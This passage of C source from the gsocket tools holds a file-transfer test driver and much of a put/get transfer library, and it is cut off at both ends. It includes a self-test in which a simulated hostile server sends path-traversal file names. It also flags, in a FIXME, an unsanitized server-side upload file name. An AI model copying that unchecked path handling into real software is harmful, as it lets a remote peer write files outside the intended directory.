GS_FT_data(&ft, data, len);
}
/* PUT, CLIENT receiving ACCEPT from server */
static void
pkt_cb_accept(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
struct _gs_ft_accept hdr;
if (len < sizeof hdr)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_accept(&ft, ntohl(hdr.id), ntohll(hdr.offset_dst));
}
// Client & Server
static void
pkt_cb_error(uint8_t chn, const uint8_t *data, size_t len, void *argNOTUSED)
{
struct _gs_ft_error *p = (struct _gs_ft_error *)data;
struct _gs_ft_error hdr;
if (len < sizeof hdr + 1)
return; // protocol error
memcpy(&hdr, data, sizeof hdr);
GS_FT_status(&ft, ntohl(hdr.id), hdr.code, (char *)p->str, len - sizeof hdr - 1);
}
// Output total stats
static void
print_stats_ft(GS_FT_stats *st)
{
DEBUGF_Y("Speed : %s\n", st->speed_str);
DEBUGF_Y("Amount : %"PRIu64"/%"PRIu64"usec\n", st->xfer_amount, st->xfer_duration);
DEBUGF_Y("Success: %d\n", st->n_files_success);
DEBUGF_Y("Errors : %d\n", st->n_files_error);
}
// On file transfer completion (for each file)
static void
cb_stats(struct _gs_ft_stats_file *s, void *arg)
{
DEBUGF_C("%u stats: %s\n", s->id, s->fname);
DEBUGF_C("Speed: %s\n", s->speed_str);
print_stats_ft(&ft.stats);
}
// Status and Error messages
static void
cb_status(void *ft_ptr, struct _gs_ft_status *s, void *arg)
{
DEBUGF_M("Status: %u\n", s->code);
DEBUGF_M("error : '%s'\n", s->err_str);
DEBUGF_M("File : %s\n", s->fname);
}
/*
* Return -1 when all done (must exit)
* Return 0 on success.
* Return 1 when waiting for data
*/
int
mk_packet(void)
{
struct gs_pkt_chn_hdr *hdr = (struct gs_pkt_chn_hdr *)GS_BUF_WDST(&gsb);
int pkt_type;
size_t sz;
size_t max_len;
max_len = MIN(GS_PKT_MAX_SIZE, GS_BUF_UNUSED(&gsb) - sizeof *hdr);
if (GS_BUF_USED(&gsb) > 0)
DEBUGF_Y("%zu bytes already in buffer, max_len=%zu\n", GS_BUF_USED(&gsb), max_len);
memset(GS_BUF_WDST(&gsb), 0, max_len); // FIXME
sz = GS_FT_packet(&ft, GS_BUF_WDST(&gsb) + sizeof *hdr, max_len, &pkt_type);
switch (pkt_type)
{
case GS_FT_TYPE_NONE:
// Nothing to write...waiting for peer's reply.
// DEBUGF_G("TYPE NONE\n");
return 1;
case GS_FT_TYPE_PUT:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_PUT);
break;
case GS_FT_TYPE_ERROR:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_ERROR);
break;
case GS_FT_TYPE_SWITCH:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_SWITCH);
break;
case GS_FT_TYPE_ACCEPT:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_ACCEPT);
break;
case GS_FT_TYPE_DATA:
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_DATA);
break;
case GS_FT_TYPE_LISTREQUEST:
// GET (download), CLIENT
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_LIST_REQUEST);
break;
case GS_FT_TYPE_LISTREPLY:
// SERVER (reply to 'get' (list request))
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_LIST_REPLY);
break;
case GS_FT_TYPE_DL:
// CLIENT - download by filename
hdr->type = GS_PKT_CHN2TYPE(GS_FT_CHN_DL);
break;
case GS_FT_TYPE_DONE:
// CLIENT only: done with all files.
DEBUGF_G("All done.\n");
return -1;
default:
ERREXIT("unknown type %d\n", pkt_type);
}
hdr->esc = GS_PKT_ESC;
uint16_t len = htons(sz);
memcpy(&hdr->len, &len, sizeof len);
// DEBUGF("Packet type=%u length %zu + %zu\n", hdr->type, sizeof *hdr, sz);
XASSERT(sz + sizeof *hdr <= GS_BUF_UNUSED(&gsb), "Oops, GS_FT_packet() to long. sz=%zu, unusued=%zu.\n", sz, GS_BUF_UNUSED(&gsb));
GS_BUF_add_length(&gsb, sizeof *hdr + sz);
return 0;
}
static void
glob_cb_test(GS_GL *res)
{
DEBUGF("Inside Globbing CB %s\n", res->name);
}
static void
do_globtest(const char *exp)
{
if (exp == NULL)
ERREXIT("no arg\n");
GS_GLOBBING(glob_cb_test, exp, 0, NULL, 0);
exit(0);
}
int
main(int argc, const char *argv[])
{
uint8_t src[BUF_LEN];
uint8_t dst[2 * sizeof src];
ssize_t sz;
size_t dsz;
int ret;
int n;
GS_library_init(stderr, stderr, NULL);
gopt.err_fp = stderr;
gopt.log_fp = stderr;
// gopt.err_fp = NULL; // un-comment to DISABLE DEBUG
if (argc < 2)
{
fprintf(stderr, "filetransfer-test [scCG] \n");
exit(EX_UNKNWNCMD);
}
if (*argv[1] == 'G')
do_globtest(argv[2]);
GS_BUF_init(&gsb, GS_PKT_MAX_SIZE + GS_PKT_HDR_MAX_SIZE);
fcntl(1, F_SETFL, O_NONBLOCK | fcntl(1, F_GETFL, 0));
GS_PKT_init(&pkt);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_ERROR, pkt_cb_error, NULL);
if ((*argv[1] == 'c') || (*argv[1] == 'C'))
{
// CLIENT
GS_FT_init(&ft, cb_stats, cb_status, 0, NULL, 0);
if (*argv[1] == 'c')
{
// Test PUT (upload)
GS_PKT_assign_chn(&pkt, GS_FT_CHN_ACCEPT, pkt_cb_accept, NULL);
// Add files to queue...
int i;
for (i = 2; argv[i] != NULL; i++)
GS_FT_put(&ft, argv[i]);
} else {
// Test GET (download)
GS_PKT_assign_chn(&pkt, GS_FT_CHN_LIST_REPLY, pkt_cb_listreply, NULL);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_DATA, pkt_cb_data, NULL);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_SWITCH, pkt_cb_switch, NULL);
int i;
for (i = 2; argv[i] != NULL; i++)
GS_FT_get(&ft, argv[i]);
}
} else {
// SERVER
GS_FT_init_tests(&argv[2]); // Test [8.9]
GS_FT_init(&ft, NULL, cb_status, 0, NULL, 1);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_PUT, pkt_cb_put, NULL);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_DATA, pkt_cb_data, NULL);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_SWITCH, pkt_cb_switch, NULL);
// SERVER - DOWNLOAD CAPACILITY
GS_PKT_assign_chn(&pkt, GS_FT_CHN_LIST_REQUEST, pkt_cb_listrequest, NULL);
GS_PKT_assign_chn(&pkt, GS_FT_CHN_DL, pkt_cb_dl, NULL);
}
while (1)
{
ret = mk_packet();
if ((ft.is_server == 0) && (ret == -1))
{
// No more files to transfer
// (All data send. Not waiting for any reply).
break;
}
// If there is data to write then write data first.
FD_CLR(0, &rfds);
FD_SET(0, &rfds);
FD_CLR(1, &wfds);
if (GS_BUF_USED(&gsb) > 0)
FD_SET(1, &wfds);
// Go into select if write-pending or waiting for data
if ((GS_BUF_USED(&gsb) > 0) || (ret == 1))
{
struct timeval tv;
tv.tv_usec = 0;
tv.tv_sec = 1;
n = select(2, &rfds, &wfds, NULL, &tv);
if (n < 0)
ERREXIT("select(): %s\n", strerror(errno));
}
if (FD_ISSET(1, &wfds))
{
// Adjust buffer of data successfully written.
sz = write(1, GS_BUF_RSRC(&gsb), GS_BUF_USED(&gsb));
// DEBUGF("write() == %zd of %zu\n", sz, GS_BUF_USED(&gsb));
if (sz == 0)
ERREXIT("write() EOF\n");
if (sz < 0)
{
if (errno == EAGAIN)
{
DEBUGF_R("WOULD BLOCK..pausing data\n");
exit(0); // FIXME
// Stop sending data packets but keep queueing control
// packets (e.g. replies to what we read()).
GS_FT_pause_data(&ft);
}
ERREXIT("write(): %s\n", strerror(errno));
}
// HERE: write() was a success. Consume data.
GS_BUF_del(&gsb, sz);
// DEBUGF("Write Data pending [after write]: %zu\n", GS_BUF_USED(&gsb));
if (GS_BUF_USED(&gsb) > 0)
GS_FT_pause_data(&ft); // Failed to write all data in buffer. Stop reading file data.
else
GS_FT_unpause_data(&ft);
}
if (FD_ISSET(0, &rfds))
{
sz = read(0, src, sizeof src);
// DEBUGF_G("read() == %zu\n", sz);
if (sz <= 0)
break;
ret = GS_PKT_decode(&pkt, src, sz, dst, &dsz);
if (ret != 0)
ERREXIT("GS_PKT_decode()\n");
if (dsz != 0)
{
HEXDUMP(src, sz);
HEXDUMP(dst, dsz);
ERREXIT("test program should contain only inband data...dsz=%zu\n", dsz);
}
}
}
// print_stats_ft(&ft.stats);
GS_FT_free(&ft);
GS_BUF_free(&gsb);
return 0;
}
gsocket-1.4.33/tools/filetransfer.c 0000664 0000000 0000000 00000141241 14072625040 0017234 0 ustar 00root root 0000000 0000000
#include "common.h"
#include "utils.h"
#include "filetransfer.h"
#include "globbing.h"
static void ft_del(GS_LIST_ITEM *li);
static void free_get_li(GS_LIST_ITEM *li);
static void ft_done(GS_FT *ft);
static void qerr_add(GS_FT *ft, uint32_t id, uint8_t code, const char *str);
static void qerr_add_printf(GS_FT *ft, uint32_t id, uint8_t code, const char *fmt, ...);
static void mk_stats_ft(GS_FT *ft);
static void mk_stats_file(GS_FT *ft, uint32_t id, struct _gs_ft_file *f, const char *fname, int err);
static mode_t GS_fperm2mode(uint32_t u);
static uint32_t GS_mode2fperm(mode_t m);
static void update_stats(GS_FT *ft, struct _gs_ft_file *f, size_t sz);
static void init_xfer_stats(GS_FT *ft, struct _gs_ft_file *f, int64_t sz);
static const char *str_dotslash(const char *src);
static const char *str_stripslash(const char *src);
static int mkdirpm(const char *dir, mode_t mode, uint32_t mtime);
static void dir_restore_mtime(const char *path, struct timespec *mtime);
static void dir_save_mtime(const char *path, struct timespec *mtime);
static void set_mode_mtime(const char *path, mode_t mode, uint32_t mtime);
static void call_status_cb(GS_FT *ft, const char *fname, uint8_t code, const char *err_str);
static void status_report_error(GS_FT *ft, const char *name, uint8_t code);
static uint8_t errno2code(int eno /*errno*/, uint8_t default_code);
#if 0
0 FIXME: must make sure that server cant request transfer from client!
- test when file becomes unavaialble after it was added.
- Sym Link
- max buffer size 64 macro somewhere needed
- queue up all 'put' requests and send as 1 large message or loop around write() while we can.
- What do we do if a pathname/filename does not fit into wbuf? Filename can be rather long (like 4k?)
and larger than channel buffer
(add files until it does not fit. Return to caller the ID that failed and let caller decide
if he likes to remove that ID from our list or just let caller try again until it fits...)
is there a limt?
- fnmatch for receiving files (hehe. yes please).
STOP HERE:
- Test '/usr/./share/' downloads etc
- deal with server sending /etc/hosts or ../../ shit (strchr?)
- do a HUGE get download.
- do a HUGE put upload
TEST CASES:
1. pathname + filename 4096 long
#2. dest file not writeable
#3. re-start transmission
4. same file in command line
#5. src file can not be opened or read error.
#6. write to symlink - as per unix (follow symlinks)
#7. zero file size
#8. retain timestamp
#endif
void
GS_FT_init(GS_FT *ft, gsft_cb_stats_t func_stats, gsft_cb_status_t func_status, pid_t pid, void *arg, int is_server)
{
memset(ft, 0, sizeof *ft);
if (is_server == 0)
{
// CLIENT
// PUT (upload) - Client side
GS_LIST_init(&ft->fqueue, 0);
GS_LIST_init(&ft->fputs, 0);
GS_LIST_init(&ft->faccepted, 0);
GS_LIST_init(&ft->fcompleted, 0);
// GET (download) - Client side
GS_LIST_init(&ft->plistreq, 0);
GS_LIST_init(&ft->plistreq_waiting, 0);
GS_LIST_init(&ft->flist, 0);
GS_LIST_init(&ft->fdl_waiting, 0);
} else {
// SERVER
// PUT (upload) - Server Side
GS_LIST_init(&ft->fadded, 0);
GS_LIST_init(&ft->freceiving, 0);
// GET (download) - Server side
GS_LIST_init(&ft->flistreply, 0);
GS_LIST_init(&ft->fdl, 0);
}
GS_LIST_init(&ft->qerrs, 0);
ft->pid = pid;
ft->func_arg = arg;
ft->func_stats = func_stats;
ft->func_status = func_status;
ft->is_server = is_server;
}
#ifdef SELFTESTS
static const char **g_filesv;
static int g_filesc;
static const char *g_true_fname;
// For test 8.9: Server is a bad actor and sends ../../0wned.dat etc as list-reply for any request.
void
GS_FT_init_tests(const char **argv)
{
g_filesv = argv;
g_filesc = 0;
}
#endif
static struct _gs_ft_file *
file_new(const char *fname, const char *fn_local, const char *fn_relative, int64_t fz_local, int64_t fz_remote, uint32_t mtime, uint32_t fperm)
{
struct _gs_ft_file *f;
f = calloc(1, sizeof *f);
f->mode = fperm;
f->mtime = mtime;
f->fz_local = fz_local;
f->fz_remote = fz_remote;
if (fn_relative != NULL)
f->fn_relative = strdup(fn_relative);
if (fn_local != NULL)
{
// CLIENT
f->fn_local = strdup(fn_local); // absolute file name
} else {
// SERVER (put & get)
f->fn_local = strdup(fname);
}
f->name = strdup(fname);
return f;
}
// SERVER. put & get
static int
gs_ft_add_file(GS_FT *ft, GS_LIST *gsl, uint32_t id, const char *fname, uint32_t mtime, uint32_t fperm, int64_t fz_remote, uint8_t flags)
{
struct stat res;
int ret;
int64_t fz = 0;
// First: Directory struture.
if (flags & GS_FT_FL_ISDIR)
{
// mkdirpm() will remove any ordinary file that is in its way
if (mkdirpm(fname, GS_fperm2mode(fperm), mtime) != 0)
{
DEBUGF_R("mkdir(%s): %s\n", fname, strerror(errno));
qerr_add(ft, id, GS_FT_ERR_PERM, NULL);
return -GS_FT_ERR_PERM;
}
// HERE: Directory (not file). Return immediately.
return 0;
}
// HERE: Remote is sending an ordinary FILE (not directory)
ret = stat(fname, &res);
if (ret != 0)
{
if (errno != ENOENT)
{
DEBUGF_R("Permission Denied: %s\n", fname);
qerr_add(ft, id, GS_FT_ERR_PERM, NULL);
return -GS_FT_ERR_PERM; // Exists but stat() failed
}
DEBUGF_R("Not found: %s\n", fname);
} else {
// FILE exists
if (!S_ISREG(res.st_mode))
{
DEBUGF_R("WARN: %s not a regular file\n", fname);
qerr_add(ft, id, GS_FT_ERR_BADF, NULL);
return -GS_FT_ERR_BADF; // Not a regular file
}
if (S_ISDIR(res.st_mode))
{
// Remote wants to send file but directory is in the way
DEBUGF_R("WARN: Directory is in the way: %s\n", fname);
qerr_add(ft, id, GS_FT_ERR_PERM, NULL);
return -GS_FT_ERR_PERM;
}
fz = res.st_size;
}
// HERE: File (not directory)
struct _gs_ft_file *f;
f = file_new(fname, NULL, fname, fz, fz_remote, mtime, GS_fperm2mode(fperm));
f->li = GS_LIST_add(gsl, NULL, f, id);
ft->is_want_write = 1;
return 0;
}
/*
* SERVER, PUT (upload)
* Return < 0 on error.
* Return 0 otherwise.
*/
int
GS_FT_add_file(GS_FT *ft, uint32_t id, const char *fname, size_t len, int64_t fsize, uint32_t mtime, uint32_t fperm, uint8_t flags)
{
if (fname[len] != '\0')
return -1; // protocol error. Not 0 terminated.
// FIXME: sanitize file name
DEBUGF_Y("#%u ADD-FILE - size %"PRIu64", fperm 0%o, '%s' mtime=%d flags=0x%02x (n_items=%d)\n", id, fsize, fperm, fname, mtime, flags, ft->fadded.n_items);
char fn_local[4096];
char *wdir = GS_getpidwd(ft->pid);
snprintf(fn_local, sizeof fn_local, "%s/%s", wdir, fname);
XFREE(wdir);
return gs_ft_add_file(ft, &ft->fadded, id, fn_local, mtime, fperm, fsize /*remote size*/, flags);
}
/*
* SERVER, GET (download)
* Client requested this file. Add to list of files that need to be send to peer.
* Server (if idle) will send a get_switch message and start transmitting data.
*/
int
GS_FT_dl_add_file(GS_FT *ft, uint32_t id, const char *fname, size_t len, int64_t fz_remote)
{
if (fname[len] != '\0')
return -1; // protocol error. Not 0 terminated.
DEBUGF_Y("#%u DL-ADD-FILE - '%s' fz_remote=%"PRId64"\n", id, fname, fz_remote);
#ifdef SELFTESTS
// Test [8.9]
if (g_true_fname != NULL)
{
fname = g_true_fname;
DEBUGF_B("TESTING: Fake filename. Using data from %s\n", fname);
}
#endif
struct stat res;
int ret;
ret = stat(fname, &res);
if (ret != 0)
{
DEBUGF_R("NOT FOUND: %s\n", fname);
qerr_add_printf(ft, id, GS_FT_ERR_NOENT, "Not found: %s", fname);
return -1;
}
if (!S_ISREG(res.st_mode))
{
DEBUGF_R("WARN2: %s not a regular file\n", fname);
return -2;
}
return gs_ft_add_file(ft, &ft->fdl, id, fname, res.st_mtime, res.st_mode, fz_remote, 0 /*flags, unused*/);
}
/*
* CLIENT, Get (download) - receiving a file list from server
* Add a single file (that exists on server) to the list that the client may request for download.
*/
int
GS_FT_list_add(GS_FT *ft, uint32_t globbing_id, const char *fname, size_t len, int64_t fz_remote, uint32_t mtime, uint32_t fperm, uint8_t flags)
{
struct _gs_ft_list_pattern *p = NULL;
int ret;
if (fname[len] != '\0')
return -1;
DEBUGF_Y("G#%u LISTREPLY - fperm 0%o, '%s'\n", globbing_id, fperm, fname);
// Check if returned file matches what we asked for. This stops the server
// from sending files that we did not request.
GS_LIST_ITEM *li = GS_LIST_by_id(&ft->plistreq_waiting, globbing_id);
if (li == NULL)
{
DEBUGF_R("Oops. Received G#%u but no file requested? (listreq_waiting=%d)\n", globbing_id, ft->plistreq_waiting.n_items);
return -1;
}
p = (struct _gs_ft_list_pattern *)li->data;
char fn_local[4096];
const char *fn_relative;
fn_relative = str_dotslash(fname);
if (fn_relative == NULL)
{
fn_relative = str_stripslash(fname);
}
snprintf(fn_local, sizeof fn_local, "%s/%s", p->wdir, fn_relative);
#if 0
// DISABLED check. Not possible with wordexp() support.
if (fnmatch(p->pattern, fn_local, 0) != 0)
{
DEBUGF_R("filename does not match request (%s != %s)\n", fname, p->pattern);
// goto done; // FIXME: C 'foo/*' would return 'bar/x.txt' but should return 'foo/bar/x.txt'
}
#endif
// Sanity-check for '..' and deny if server sends reply containing '..'
if (strstr(fn_local, "..") != NULL)
{
DEBUGF_R("Bad file name (%s)...\n", fn_local);
goto done;
}
if (flags & GS_FT_FL_ISDIR)
{
DEBUGF_C("Directory: %s\n", fn_local);
// mkdirpm() will remove any ordinary file that is in its way
if (mkdirpm(fn_local, GS_fperm2mode(fperm), mtime) != 0)
{
DEBUGF_R("mkdir(%s): %s\n", fn_local, strerror(errno));
}
goto done;
}
struct stat res;
ret = stat(fn_local, &res);
int64_t fz_local = 0;
if (ret == 0)
{
if (res.st_size == fz_remote)
{
DEBUGF_R("File of equal size already exists (%s)\n", fn_local);
mk_stats_file(ft, -1, NULL, fn_relative, 0 /*success*/);
goto done;
}
if (res.st_size < fz_remote)
fz_local = res.st_size;
}
struct _gs_ft_file *f;
f = file_new(fname, fn_local, fn_relative, fz_local, fz_remote, mtime, GS_fperm2mode(fperm));
f->li = GS_LIST_add(&ft->flist, NULL, f, ft->g_id);
ft->g_id += 1;
// Update global stats
init_xfer_stats(ft, f, f->fz_remote - f->fz_local);
ft->n_files_waiting += 1;
ft->is_want_write = 1;
ret = 0;
done:
if (flags & GS_FT_LISTREPLY_FL_LAST)
{
DEBUGF_G("Last file for this globbing id. Free'ing get-list\n");
free_get_li(li);
// Scenario: All requested files got skipped (already exist).
// - no get request (for file data) outstanding.
// Trigger that GS_FT_packet() is called to return GS_FT_TYPE_DONE (all files transferred)
if ((ft->n_files_waiting == 0) && (ft->plistreq_waiting.n_items == 0))
ft->is_want_write = 1;
}
return 0;
}
struct _mperm
{
mode_t mode;
uint32_t perm;
};
struct _mperm x_mperm[] = {
{S_ISUID, 04000},
{S_ISGID, 02000},
{S_ISVTX, 01000},
{S_IRUSR, 00400},
{S_IWUSR, 00200},
{S_IXUSR, 00100},
{S_IRGRP, 00040},
{S_IWGRP, 00020},
{S_IXGRP, 00010},
{S_IROTH, 00004},
{S_IWOTH, 00002},
{S_IXOTH, 00001}
};
// Host to network byte order for st_mode file permission
static uint32_t
GS_mode2fperm(mode_t m)
{
uint32_t u = 0;
int n;
m &= ~S_IFMT;
for (n = 0; n < sizeof x_mperm / sizeof *x_mperm; n++)
{
if (m & x_mperm[n].mode)
u |= x_mperm[n].perm;
}
// DEBUGF_B("mode2fperm 0%o\n", u);
return u;
}
// Network to host byte order for st_mode file permission
static mode_t
GS_fperm2mode(uint32_t u)
{
mode_t m = 0;
int n;
// DEBUGF_B("fperm2mode 0%o\n", u);
for (n = 0; n < sizeof x_mperm / sizeof *x_mperm; n++)
{
if (u & x_mperm[n].perm)
m |= x_mperm[n].mode;
}
return m;
}
// strip all '/' from beginning of string.
static const char *
str_stripslash(const char *src)
{
while (*src == '/')
src++;
return src;
}
// Find '/./' in string
// "/foo/./bar/test1.txt" -> "bar/test1.txt"
// "/foo/bar/./test1.txt" -> "test1.txt"
// "/foo/bar/test1.txt" -> NULL
// "test1.txt" -> NULL
static const char *
str_dotslash(const char *src)
{
char *token;
token = strstr(src, "/./");
if (token == NULL)
return NULL;
src = token + 3; // skip '/./'
src = str_stripslash(src);
return src;
}
// Takes a /.// construct and returns / part.
// Space is allocated to hold the new string. Caller must call free() to free it.
static char *
dotslash_filename(const char *src)
{
char *dst = NULL;
/*
* Consider these possibilities (examples)
* /tmp/foo/bar/hosts
* /./tmp/foo/bar/hosts
* /tmp/foo/./bar/./hosts
* /tmp/./foo/bar/hosts
* hosts
* foo/bar/host
*/
// Find token after last occurance of '/./'
const char *str;
str = str_dotslash(src);
// str contains everything after '/./' or fname if '/./' not found.
if (str == NULL)
{
// HERE: No '/./'. Use basename (file only, no directory part)
char *s = strdup(src); // basename() might modify str
dst = strdup(basename(s));
free(s);
} else {
// Scenario: put 'foo/'' will turn into 'foo/./'' which will call
// GS_FT_put(foo/.//bar/file.txt) which must end up with 'bar/file.txt'
// and not with '/bar/file.txt'
str = str_stripslash(str);
dst = strdup(str);
}
return dst;
}
// CLIENT, put (upload)
// SERVER, get (download), after globbing.
static int
add_file_to_list(GS_FT *ft, GS_LIST *gsl, const char *fname, uint32_t globbing_id, int is_server)
{
// SERVER, get: Even if it does not exist then we still need to add it to the LISTREPLY list
// Client will request it and only then will we send an error.
// This can happen when client requests "foo[123].notexist[233].da*" and globbing
// fails.
// CLIENT: Immediatly return.
int ret;
int is_notfound = 0;
struct stat res;
ret = stat(fname, &res);
if (ret != 0)
{
DEBUGF_R("%s NOT FOUND\n", fname);
if (is_server == 0)
{
char *name = dotslash_filename(fname);
status_report_error(ft, name, GS_FT_ERR_NOENT);
XFREE(name);
return -1;
}
is_notfound = 1; // Server, get (download)
}
struct _gs_ft_file *f;
f = calloc(1, sizeof *f);
f->globbing_id = globbing_id;
if (is_server == 1)
{
// Server, GET (download).
#ifdef SELFTESTS
const char *ff = fname;
if ((g_filesv != NULL) && (g_filesv[g_filesc] != NULL))
{
ff = g_filesv[g_filesc];
g_filesc++;
if (g_filesv[g_filesc] == NULL)
g_filesc = 0;
g_true_fname = strdup(fname);
}
f->name = strdup(ff);
#else
f->name = strdup(fname);
#endif
} else {
// Client, PUT (upload).
f->name = dotslash_filename(fname);
f->fn_relative = strdup(f->name);
}
DEBUGF_Y("#%u name = %s\n", ft->g_id, f->name);
f->li = GS_LIST_add(gsl, NULL, f, ft->g_id);
ft->g_id += 1;
// stat() failed.
if (is_notfound)
{
DEBUGF_R("stat(%s): %s\n", fname, strerror(errno));
return -1;
}
// Get absolute and real path as CWD may change before
// upload starts.
char *realfname = malloc(GS_PATH_MAX); // solaris10 does not support realpath(ptr, NULL);
if (realpath(fname, realfname) == NULL)
{
XFREE(realfname);
return -3;
}
f->fn_local = realfname;
f->fz_local = res.st_size;
f->mode = res.st_mode;
f->mtime = res.st_mtime;
return 0;
}
/*
* CLIENT: Add this file (not directory) to queue.
*/
static int
gs_ft_put(GS_FT *ft, const char *fname)
{
int ret;
ret = add_file_to_list(ft, &ft->fqueue, fname, 0 /*unused*/, 0 /*is_client*/);
if (ret != 0)
return ret;
ft->n_files_waiting += 1;
return 0;
}
// CLIENT
static void
glob_cb_client(GS_GL *res)
{
GS_FT *ft = (GS_FT *)res->arg_ptr;
gs_ft_put(ft, res->name);
}
// CLIENT
int
GS_FT_put(GS_FT *ft, const char *pattern)
{
int n_found;
n_found = GS_GLOBBING(glob_cb_client, pattern, -1, ft, 0);
if (n_found <= 0)
{
// Globbing error
DEBUGF_R("NOT FOUND: %s\n", pattern);
char buf[128];
snprintf(buf, sizeof buf, "%s: %s", GS_FT_strerror(GS_FT_ERR_INVAL), pattern);
call_status_cb(ft, pattern, GS_FT_ERR_INVAL, buf);
return -1;
}
return 0;
}
// SERVER: Add a single file
static int
get_add_file(GS_FT *ft, const char *fname, uint32_t globbing_id)
{
int ret;
DEBUGF_G("Adding %s\n", fname);
// Retrieve all info for the file.
ret = add_file_to_list(ft, &ft->flistreply, fname, globbing_id, 1 /*is_server*/);
if (ret != 0)
{
return ret;
}
return 0;
}
// SERVER
static void
glob_cb(GS_GL *res)
{
GS_FT *ft = (GS_FT *)res->arg_ptr;
DEBUGF_Y("G#%u \n", res->globbing_id);
get_add_file(ft, res->name, res->globbing_id);
}
// SERVER: Generate file list based on globbing pattern sent by client.
int
GS_FT_list_add_files(GS_FT *ft, uint32_t globbing_id, const char *pattern, size_t len)
{
int ret;
int cwd_fd;
if (pattern[len] != '\0')
return -1; // protocol error. Not 0-terminated.
DEBUGF_Y("G#%u GET-ADD-FILE: %s\n", globbing_id, pattern);
cwd_fd = open(".", O_RDONLY);
if (cwd_fd < 0)
DEBUGF_R("open(.): %s\n", strerror(errno));
char *ptr = GS_getpidwd(ft->pid);
ret = chdir(ptr); // Temporarily change CWD for globbing to work.
if (ret != 0)
{
DEBUGF_R("chdir(%s): %s\n", ptr, strerror(errno));
qerr_add_printf(ft, globbing_id, errno2code(errno, GS_FT_ERR_NOENT), "chdir(%s): %s\n", ptr, strerror(errno));
goto done;
}
ret = GS_GLOBBING(glob_cb, pattern, globbing_id, ft, 0);
if (ret <= 0)
{
DEBUGF_R("NOT FOUND: %s\n", pattern);
qerr_add_printf(ft, globbing_id, GS_FT_ERR_NOENT, "Not found: %s", pattern);
}
done:
if (cwd_fd >= 0)
{
// Change back to original CWD.
if (fchdir(cwd_fd) == 0) {} // ignore results
close(cwd_fd);
}
XFREE(ptr);
ft->is_want_write = 1;
return ret;
}
/*
* CLIENT: Add a get-requst to the listrequest queue.
*/
int
GS_FT_get(GS_FT *ft, const char *pattern)
{
struct _gs_ft_list_pattern *p;
p = calloc(1, sizeof *p);
p->pattern = strdup(pattern);
p->wdir = getcwdx();
p->globbing_id = ft->g_id;
GS_LIST_add(&ft->plistreq, NULL, p, ft->g_id);
ft->g_id += 1;
return 0;
}
// Add an error message to (outgoing) queue.
static void
qerr_add(GS_FT *ft, uint32_t id, uint8_t code, const char *str)
{
struct _gs_ft_qerr *qerr;
qerr = calloc(1, sizeof *qerr);
qerr->id = id;
qerr->code = code;
qerr->str = NULL;
if (str != NULL)
qerr->str = strdup(str);
// Must add in sequence of occurance (add_count)
GS_LIST_add(&ft->qerrs, NULL, qerr, ft->qerrs.add_count);
ft->is_want_write = 1;
}
static void
qerr_add_printf(GS_FT *ft, uint32_t id, uint8_t code, const char *fmt, ...)
{
va_list ap;
char buf[128];
va_start(ap, fmt);
vsnprintf(buf, sizeof buf, fmt, ap);
va_end(ap);
qerr_add(ft, id, code, buf);
}
// Send status to peer (error-msg) and free the file structure.
static void
send_status_and_del(GS_FT *ft, GS_LIST_ITEM *li, uint32_t code, const char *str)
{
qerr_add(ft, li->id, code, str);
ft_del(li);
}
// Error while receiving data (called from GS_FT_switch() or GS_FT_data()
// Stop peer sending any further data for this id.
static void
do_recv_error(GS_FT *ft, GS_LIST_ITEM *li, uint32_t code, const char *str)
{
struct _gs_ft_file *f = (struct _gs_ft_file *)li->data;
if (ft->is_server == 0)
mk_stats_file(ft, li->id, f, NULL, 1 /*err*/);
send_status_and_del(ft, li, code, str);
}
// No more data to be send.
// Called by 'sending' party (either from mk_switch() or mk_xfer_data()
// when all data has been send.
// CLIENT: wait for COMPLETE error
// SERVER: Close immediately.
static void
sending_complete(GS_FT *ft, struct _gs_ft_file **active, GS_LIST *fcompleted)
{
struct _gs_ft_file *f = *active;
if (ft->is_server == 0)
{
XASSERT(fcompleted != NULL, "Client has no complete-queue??\n");
XFCLOSE(f->fp);
GS_LIST_move(fcompleted, f->li);
} else {
// SERVER
XASSERT(fcompleted == NULL, "Server has a complete-queue??\n");
ft_del(f->li);
}
*active = NULL;
}
// Expecting no more data. Called on receiving side
// Called by receiving party (from GS_FT_switch() or GS_FT_data())
// CLIENT: output stats, set time
static void
receiving_complete(GS_FT *ft, struct _gs_ft_file *f)
{
char *s = strdup(f->fn_local);
char *dn = dirname(s);
if (ft->is_server == 0)
{
// CLIENT (get, download: All data received)
mk_stats_file(ft, f->li->id, f, NULL, 0 /*err*/);
XFCLOSE(f->fp); // Must close before setting mtime
set_mode_mtime(f->fn_local, f->mode, f->mtime);
dir_restore_mtime(dn, &f->dir_mtime);
ft_done(ft);
ft_del(f->li);
// Trigger that GS_FT_packet() is called to return GS_FT_TYPE_DONE (all files transferred)
if ((ft->n_files_waiting == 0) && (ft->plistreq_waiting.n_items == 0))
ft->is_want_write = 1;
} else {
// SERVER (put, upload: all data received)
XFCLOSE(f->fp);
set_mode_mtime(f->fn_local, f->mode, f->mtime);
dir_restore_mtime(dn, &f->dir_mtime);
// close FP, free file, return COMPLETE message to client.
send_status_and_del(ft, f->li, GS_FT_ERR_COMPLETED, NULL);
}
XFREE(s);
}
static void
qerr_free(struct _gs_ft_qerr *qerr)
{
XFREE(qerr->str);
XFREE(qerr);
}
// SERVER & CLIENT
void
GS_FT_data(GS_FT *ft, const void *data, size_t len)
{
struct _gs_ft_file *f;
struct _gs_ft_file **active;
size_t sz;
if (ft->is_server)
active = &ft->active_put_file;
else
active = &ft->active_dl_file;
f = *active;
if (f == NULL)
{
DEBUGF_R("Receiving data but no active receiving file (len=%zu)\n", len);
HEXDUMP(data, MIN(len, 16));
return;
}
XASSERT(f->fp != NULL, "fp is NULL\n");
if (f->fz_local + len > f->fz_remote)
{
